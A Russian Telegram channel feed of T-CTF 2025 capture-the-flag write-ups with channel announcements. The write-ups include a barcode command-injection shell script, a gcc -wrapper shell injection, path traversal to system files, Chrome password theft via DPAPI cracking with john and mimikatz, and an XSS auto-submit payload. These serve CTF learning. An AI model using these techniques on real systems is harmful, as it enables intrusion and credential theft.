Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#web #debug #tctf2025
Капипаркинг

Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть -  дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%"  и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json

# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
    Code39 = get_barcode_class('code39')
    code39 = Code39(code_text, writer=ImageWriter())

    buffer = BytesIO()
    code39.write(buffer, options={'format': 'PNG'})
    buffer.seek(0)

    return buffer

# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
    files = {
        'image': (filename, image_buffer, 'image/png')
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
        "Origin": "https://t-parking-0a2zxpo1.spbctf.org",
        "Accept": "*/*"
    }

    cookies = {
        "__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
    }

    response = requests.post(
        "https://t-parking-0a2zxpo1.spbctf.org/scan",
        files=files,
        headers=headers,
        cookies=cookies
    )

    return response.text

# --- Запуск ---
if __name__ == "__main__":

    while True:
        code = "9%BABAN123%202504191104%"
        command = input("> ")
        # code = code.replace(" ", "")  # Убираем пробелы
        code += command + "%"
        filename = "barcode.png"      # Имя файла только для запроса

        img = generate_barcode(code)

        response = send_barcode_image(img, filename)

        try:
            json_data = json.loads(response)
            parking_fee = json_data.get("parking_fee", "")
            if parking_fee is not None:
                parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
            pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
            print(parking_fee_cleaned)
        except json.JSONDecodeError:
            print("[!] Ответ не является JSON:")
            print(response)


Автор: @Evgeniy12337382

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡21🥴1🤨1
Ребят, присылайте ваши райтапы на TCTF, даже если это первый райтап в вашей жизни, не стесняйтесь ❤️
🐳8👍2🥴2🤣1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)

В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.

Автор: @iamgosten

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯111👍1🔥1🤨1
#infra #linux #c
Капибассейн

В аргументы вставляем
-wrapper /bin/sh,-c,'echo -e "#!/bin/sh\ncat ./new_secret.txt" > main'

Таким образом вместо бинаря main у нас появляется скрипт main, который выведет флаг.

Думаю, стоит уточнить, что при использовании wrapper gcc не генерит бинарный файл на выходе.

Автор: @tonysdx

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍41
#misc #telegram #tctf2025
Капиблогер (обе версии)

Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.

Пример кода:
from telethon import TelegramClient
import asyncio

async def main():
    # Create application https://my.telegram.org/apps
    api_id = ...
    api_hash = '...'
    session_name = "wtf"
    client = TelegramClient(session_name, api_id, api_hash)
    await client.start()

    msg = await client.send_message('@capyblogger_XXXXXX_bot', 'Конкурсы')
    print(f'Отправлено сообщение {msg.id} в чат {msg.chat_id}')

    await client.run_until_disconnected()

asyncio.run(main())


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31👍1
#misc #forensics
Капибариста

1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2

В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>

Ага... А если убрать тег action?
GET /?path=/ HTTP/2

Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2

Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2

Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>

Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2

По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2

База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2

Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту DPAPImk2john и сбрутим хеш:
python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt

Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль Capybara1792
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected

В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2

Он будет находиться по ключу os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_data
Запускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"

6) Теперь надо вынуть password из вытащенной на 3 этапе базы данных
SELECT origin_url, username_value, password_value FROM logins

И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль OmgSoAdminPasswordVerySecure2025 с логином admin,  авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!

Автор: @ll0ydik
👍10🤯21
#web #tctf2025
Капибординг

Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.

Пробуем инжектить скрипт в заголовок доната - отлично есть XSS

Создаем донат, в описание инжектим данный скрипт:
<img src=x onerror="
  let inp = document.querySelector('#donationInput');
  inp.value = 100500;
  inp.dispatchEvent(new Event('input', { bubbles: true }));
  document.querySelector('button[type=submit]').click();
">

После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.

Автор: @wkiseven

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍72🥴2
Кстати, вот здесь еще одна подборка интересных райтапов с #tctf2025 от @SpriteCT, разбираются задачки:

#Капибады
#Капибургер
#Капибокс
#Капибегущая
#Капибаза
#Капипаркинг
#Капиблеф
#Капаре
#Капибаксы
#Капибанк

Не пропустите!

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21
#web
👀 Реестр Мемов

В эпоху строгого контроля и цифрового наблюдения правительство внедрило "Реестр Мемов". Теперь каждый мем подлежит обязательной регистрации. Пользователи, распространяющие незарегистрированные мемы, рискуют получить серьезные штрафы.

Твоя задача — обойти модерацию мемов, добавить мем в реестр и восстановить законные права пользователей на мемы!

https://mem.givemeflag.com/

Автор: @denis_bardak

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5😁2🗿21🥴1🌚1
Чуть обновил профиль на стендофе
Теперь красиво...
https://standoff365.com/profile/freenameruuu/
🔥11👍21🥱1🤨1🖕1
IMG_20250427_061704_107.jpg
341.5 KB
#crypto #coding #tctf2025
Капибьюти

Суть задания, расшифровать купон, который зашифровал креативный маркетолог.

В задании дается картинка со множеством изображений и одна строка с надписью "Салон капибьюти спа", которая отсылает нас к ключу от шифра, однако полностью ключа нет, придется додумывать самому, то есть та буква, что находится над картинкой ей и присваивается.

Таким образом расставив все буквы, соответствующие картинкам, и додумав по смыслу слова, получим сообщение, введя которое на сайте, получим флаг. 

Автор: @MRX_120

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Представляем вам два подробных разбора заданий Капибариста и Капибратство с T-CTF 2025 от @TheSa1kyo. Не пропустите!

#tctf2025
👍7
Forwarded from Кошачьи бредни (Daniil159x)
Авторские врайтапы на T-CTF 25

В этом году мне выпала честь делать таски на этот CTF.
Всего сделал 3 таска: капитолий, капибассейн и капибудильник.

Капитолий был демо таском и для него делали онлайн разбор, пост выше.

Капибассейн был из категории easy и был в обеих лигах.
В нём давался исходник, бот его компилировал и запускал. Игрокам надо было починить компиляцию и достать флаг.
Оригинальный врайтап живёт в гитхабе: tctf-25/basin/README.md.

Помимо описанного решения игроки нашли опцию -wrapper, которая оборачивает вызов компилятора, получали RCE на момент компиляции и не находили new_secret.txt.
Не находили резонно, ибо как часто вы компилируете и запускаете на проде?)
Флаг с секретом лежал рядом с бинарём во время запуска. Поэтому игроки, шедшие через -wrapper, всячески патчили или подменяли main бинарь.

Капибудильник давали только в лиге "безопасников" и он представлял из себя таск на повышение привилегий и побег из chroot'а.
Таск вдохновлен этим постом, где схожая уязвимость была в ftp демоне в 1998 году.

Врайтап лежит тут: tctf-25/buzzer/README.md

#ctf #linux #writeups
👍42
🚨 Ой, а сейчас будет жирно!

Райтап на задание Капибатл, который решили всего ТРИ команды!

@hate_it_here, спасибо! ❤️

#pwn #linux #bpf #lpe #tctf2025
Капибатл

Описание задания:

Сегодня пройдет финал битвы огромных робокапибар. Сражения идут врукопашную. Некоторые игроки прознали, что у фаворита CAPY-9000 встроена ЭМ-пушка, которая выключает соперника. Это запрещено правилами. Взломайте робота CAPY-9000, найдите пушку и выключите ее.

ssh t-battle-ux658nop.spbctf.org
Username: battle
Password: 273V7UVE6QCV2XuuYsAvCA

Исходники: capybattle_7571838.tar.gz

Нерегламентированная ЭМ-пушка выключается командой /bin/deactivate


Райтап: https://blog.nekoea.red/posts/tctf25-capybattle-writeup/

Материалы задания и решения: https://meowgit.nekoea.red/nihonium/tctf25_capybattle_writeup

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥10👍4
Каналу сегодня целый год!
Всех поздравляю 👏❤️
37👍9🔥9😁5
Разыграть в канале проходки 🎫 на PHDays? 🚀
Anonymous Poll
60%
да!
5%
!нет
35%
простодайтеденягнапыво 🍺
❗️❗️❗️❗️

У нас для вас крутейшая новость — мы запускаем конкурс на 10 проходок ❤️ на PHDays 2025, который пройдёт в Москве 22-24 мая!

Если вдруг не знали — это крупнейший фестиваль по кибербезопасности и технологиям. Будет жарко, так что не пропустите!

🔖Что нужно, чтобы участвовать:
1. Подпишитесь на канал @writeup_ctf
2. Залетайте в ламповый чат @writeup_chat — оставьте хотя бы одно осмысленное сообщение (просто «+» не считается).
3. Зарегистрируйтесь на сайте https://phdays.com — заведите личный кабинет.
4. Вам должно быть 18+ лет.
5. Нажмите на кнопку «Участвую!» под этим постом.
6. Если выиграете — ответьте нам в течение 24 часов после уведомления, иначе билет уйдет другому.

📣Важно: если точно знаете, что не сможете приехать — не занимайте чужое место, дайте шанс другим.

Сроки: розыгрыш проходит с 6 мая 11:00 до 12 мая 10:00.

Удачи и встретимся на PHDays! 😊
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥12🔥51